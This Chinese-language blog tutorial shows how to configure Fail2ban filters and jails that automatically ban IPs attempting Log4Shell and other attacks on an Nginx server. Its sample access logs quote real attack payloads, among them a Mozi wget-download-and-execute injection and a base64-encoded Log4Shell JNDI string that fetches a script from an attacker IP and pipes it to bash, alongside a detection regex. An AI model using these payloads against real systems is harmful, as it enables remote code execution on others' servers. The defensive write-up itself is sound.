運用 Fail2ban 自動封鎖攻擊者的 IP

每當 IT 新聞報導有新漏洞被駭客開採時,即便你沒有受到該漏洞的直接影響,間接的你也會開始在 Server log 中看見駭客嘗試利用此漏洞攻擊的蛛絲馬跡,面對那些三不五時來騷擾我們的攻擊者,我們可以透過 Fail2ban 與 iptables 自動封鎖這些惡意 IP,減緩騷擾攻擊的頻率。

說到最近 IT 圈最熱門的資安問題,想必大家一定都知道,即是源自 Apache Log4j 2 被開採的漏洞 Log4Shell,事件爆發至今依然燒個不停,多少 IT 人為了盤點影響範圍與修補漏洞,不知道少睡了多少時間、死了多少腦細胞,此時此刻要先向所有 IT 人說一聲「辛苦了!」。

連上網路即是被攻擊的第一步

回到本文主題,如果你有經手 Server 管理與維護的工作,想必你一定有過這樣的經驗,即是只要 Server 一接上網路,接著在 Log 中就會開始看見各式各樣嘗試攻擊你的紀錄,以最常見的 Web Server 為例,我們經常會在 access.log 看見類似下面這幾種 Log:

# 下面以 Nginx 的 access.log 為例

## 針對 Wordpress 的攻擊,看你是不是會不小心把 wp-admin.php 暴露在外
14.18.100.250 - - [18/Dec/2021:03:41:40 +0800] "GET /wp-admin.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36"

## 嘗試找到 MySQL 的介面或資訊
14.18.100.250 - - [18/Dec/2021:04:25:32 +0800] "GET /admin/mysql/ HTTP/1.1" 301 178 "-" "python-requests/2.23.0"

## 嘗試找到各種可以登入的介面
14.18.100.250 - - [18/Dec/2021:05:50:53 +0800] "GET /index.php?s=/admin/index/dologin HTTP/1.1" 200 3730 "-" "python-requests/2.26.0"

## 看你是否會不小心將重要的 .env 暴露在外,.env 多半內含 Application 的 DB 帳密或其他重要私密資訊
103.133.109.163 - - [18/Dec/2021:06:13:19 +0800] "GET /.env HTTP/1.1" 404 2088 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"

## 看你有沒有 phpMyAdmin 可以入侵
90.109.138.228 - - [18/Dec/2021:12:46:45 +0800] "GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1" 302 138 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

## 看你有沒有不小心將 .git 暴露在外
88.80.187.57 - - [18/Dec/2021:00:08:17 +0800] "GET /.git/config HTTP/1.1" 302 138 "-" "python-requests/2.9.1"

## 嘗試讓 Server 下載惡意腳本並執行
123.129.154.66 - - [18/Dec/2021:02:43:21 +0800] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 150 "-"

## 現在最熱門針對 Log4j 漏洞的攻擊
195.54.160.149 - - [18/Dec/2021:06:19:07 +0800] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzQuMjA5LjE0My4xMzY6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzEzNC4yMDkuMTQzLjEzNjo0NDMpfGJhc2g=} HTTP/1.1" 404 2089 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzQuMjA5LjE0My4xMzY6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzEzNC4yMDkuMTQzLjEzNjo0NDMpfGJhc2g=}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzQuMjA5LjE0My4xMzY6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzEzNC4yMDkuMTQzLjEzNjo0NDMpfGJhc2g=}"

上面的 Log 範例皆是真實的記錄,可以看見來自相同或多個 ip 的攻擊者陸續對 Server 發出各種 Request,嘗試找出可運用的漏洞。雖然這些攻擊對我的 Server 而言都是無效的,但是每天被人這樣不停的熱情招待,也是挺煩的。而且這些攻擊者會經常更新他們的軍火庫,每當看見 IT 新聞又公佈了哪些新漏洞時,多半你都能立即在 Log 中看見對應的蛛絲馬跡,這真的是一個只要接上網路就開始被攻擊的時代。

運用 Fail2ban 自動封鎖惡意 ip

面對各種攻擊,我們需要建立各種防禦措施,回歸最基本的一項防護即是防火牆,而在 Linux 通常會是耳熟能詳的 iptables。我們可以透過 iptables 設定各種 rules,像是限制 22 port 只有某些 ip 可以連上,同理我們也可以透過 iptables 來封鎖對我們發動惡意攻擊的這些 ip。

但就如前面提到的,只要網路一通,攻擊者們幾乎是每天 24 小時輪流出手,因此我們不太可能總是自行調閱 Log 並手動設置 iptables rules,我們需要運用像是 Fail2ban 這一類的工具幫助實現自動封鎖惡意 ip 的 Server 保護措施。

Fail2ban 基本介紹

因為 Fail2ban 已經是一個老牌的工具了,這裡只提幾個本文相關的事項:

  • Fail2ban 會監看你的各種 Log,並根據 Log 內的字串做出各種 Action。
  • 以 Ubuntu 為例,Fail2ban 的 Config 多半存放在 /etc/fail2ban/ 之下
  • /etc/fail2ban/action.d/ 存放了各種 Fail2ban 可執行的 Action,例如本文想做到的「自動封鎖 ip」。
  • /etc/fail2ban/filter.d/ 存放了各種 Fail2ban 用來判斷事件的 Filter,像是「判斷是否有人一直輸入錯誤的密碼」。
  • 一般會建議另外建立檔案 /etc/fail2ban/jail.local,並將你要修改的 Fail2ban 參數設定於此,例如你打算啟用哪些 jail。
  • 想要啟用的 jail 需加上 enabled = true
  • 可利用 Command fail2ban-client status 查看目前已啟用哪些 jail。

撰寫新的 Fail2ban Filter

Linux 安裝完 Fail2ban 後,在 /etc/fail2ban/filter.d/ 已經有許多預設的 Filter 可用,但畢竟攻擊方式推陳出新,因此針對新的攻擊我們需要自行撰寫 Filter,下面就用前述的 Log4Shell 攻擊為例。

首先我們需要取得攻擊者的 ip,這樣我們才知道該封鎖哪個 ip。第二就是依據 Log4Shell 的相關新聞,我們可以知道目前的攻擊手法會運用 JNDI 與 LDAP,因此我們可以根據 Log 中的特定字串來作為攻擊的識別條件。

這裡讓我們再看一次 Log。

## 現在最熱門針對 Log4j 漏洞的攻擊
195.54.160.149 - - [18/Dec/2021:06:19:07 +0800] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzQuMjA5LjE0My4xMzY6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzEzNC4yMDkuMTQzLjEzNjo0NDMpfGJhc2g=} HTTP/1.1" 404 2089 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzQuMjA5LjE0My4xMzY6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzEzNC4yMDkuMTQzLjEzNjo0NDMpfGJhc2g=}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzQuMjA5LjE0My4xMzY6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzEzNC4yMDkuMTQzLjEzNjo0NDMpfGJhc2g=}"

並對照 Nginx 的 Access log 規則 (log_format)。

# 我目前使用的 Nginx Access Log 規則
$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent"

由此可以知道 $remote_addr = 195.54.160.149 即是我們需要的攻擊者 ip。而 $request 即是從 GET /?x= 開始的那一大串,其中包含我們要找的攻擊字串,其中的關鍵字串是 jndi:ldap:/

【補充】如果在 Server 的前面,還有一層 Load balancer,那 $remote_addr 多半拿到的會是 Load balancer 的 ip,如果是這樣的狀況,就必須先去修改 Nginx 的 Access log 規則,增加 $http_x_forwarded_for,才能由此取得真正的 ip。但別忘了,攻擊者有時是直接按著他手上的 ip list 全部攻擊一輪,因此 Request 不一定都會來自 Load balancer,所以有可能在 Log 中你會看見 $remote_addr$http_x_forwarded_for 只有其中一個記錄到我們想要的攻擊者 ip 資訊。

確認這些條件之後,我們開始撰寫我們的 Filter,在 /etc/fail2ban/filter.d/ 內新增一個檔案 log4shell.conf 並輸入以下內容。

# 第一行宣告 Filter 開始
[Definition]

# failregex 即是我們 Filter 的關鍵
failregex = ^<HOST> -.*\$\{jndi:ldap:/[^\n]+

failregex 內我們要用「正則表達式」設定 Filter 的判斷條件。而 Log 是由我們需要的 ip 資訊 $remote_addr 開始的,因此我們的正則表達式開頭是 ^,並且先接上 Fail2ban 獨有的變數 <HOST> 標記這即是我們要抓取的 ip 資訊。

接著後面的 -.*\$\{jndi:ldap:/[^\n]+ 即是用來識別是否有關鍵字串 jndi:ldap:/

  • -.* 對應實際 Log 這段 - - [18/Dec/2021:06:19:07 +0800] "GET /?x=
  • \$\{ 對應實際 Log 這段 ${
  • jndi:ldap:/ 對應實際 Log 這段 jndi:ldap:/
  • 接續 jndi:ldap:/ 後面的 [^\n]+ 代表從 jndi:ldap:/ 直到 \n 換行符號之前,可接受不限字元數的所有字串。

【補充】根據最新的資訊,利用 Log4Shell 漏洞的攻擊開始有各種花招,除了 LDAP 之外,還有 RMI,因此 -.*\$\{jndi:ldap:/[^\n]+ 可以再更進一步修改為 -.*\$\{jndi:(ldap|rmi):/[^\n]+

【再補充】Log4Shell 漏洞攻擊花招越來越多,記得隨時關注最新的消息,適時的調整你的 Filter。

設置新的 Fail2ban jail

/etc/fail2ban/jail.local 中新增以下內容。

# 宣告 jail 開始
[log4shell]

# 代表要啟用此 jail
enabled  = true

# 對應上面的 Filter 檔名
filter   = log4shell

# 設定要執行的 action,即是我們想要的自動封鎖 ip,封鎖對方不准連上 80 與 443 port
action = iptables-multiport[name=log4shell, port="http,https"]

# Filter 要根據哪些 Log 的內容來判斷事件
## 如果有多個 Log 檔案,可以利用 wildcard 的方式指定
logpath  = /var/log/nginx/*access.log

# 要封鎖對方多久時間,604800 秒 = 7 天
bantime  = 604800

# 下面兩個通常會一併考慮。
## 以下面的參數為例,即是在 300 秒之內,發現同一個 ip 有來攻擊 1 次,就封鎖它
findtime  = 300
maxretry = 1

# 如果有需要設為白名單的 ip,可設定此項。
ignoreip = xxx.ooo.xxx.ooo

【補充】Fail2ban 的參數可以有 Default 預設值,因此像是白名單 ignoreip,其實可以設定為 Default 共用,不一定要單獨設定在 jail 中。

查看 jail 是否有順利啟用

Filter 與 jail 都設定完畢後,記得重新啟動 Fail2ban,並用 fail2ban-client status 查看 jail 是否有正確運作中。

當然你也可以試著自己攻擊自己的 Server,但要小心不要害自己被 Server 完全封鎖,無法連上 Server 將自己解除封鎖喔!

結語

最近 Log4j 的問題延燒,我自己也花了數日處理,同時也注意到立即有人在嘗試利用此漏洞攻擊,就如文章開頭所述那樣,這年頭只要網路一通,惡意攻擊便隨之而來。

本文介紹的 Fail2ban 雖然並非是第一時間即時阻擋攻擊的防護措施,但運用它自動封鎖那些三不五時就來戳(攻擊)一下的 ip,可以幫助我們減緩這些討人厭的騷擾。

【補充】這時代由於有強大的雲端服務或實體網路設備的資安產品,並非人人都會在 Server 上設置 iptables 與 Fail2ban。但如果你什麼額外的防護措施都沒有,那麼恐怕 iptables 與 Fail2ban 即是你最低限度必須設置的防禦措施。

參考資料

工商服務

如果你覺得艦長的文章對你有產生幫助,歡迎抖內(Donate),讓我可以將養家活口的力氣分一些在社群分享。歡迎支持我的著作《和艦長一起 30 天玩轉 GitLab》,不只能抖內艦長,還能一併支持出版社與圖書通路商,一次抖內一舉數得!謝謝大家。

【補充】《和艦長一起 30 天玩轉 GitLab》除了介紹 GitLab 功能及入門使用,也包含純粹的 CI/CD/DevOps 觀念,由於近一年 GitLab 版本更新大爆發,導致書中部分功能介面截圖已失準,但本書仍內含值得讀者參考的內容。

更多文章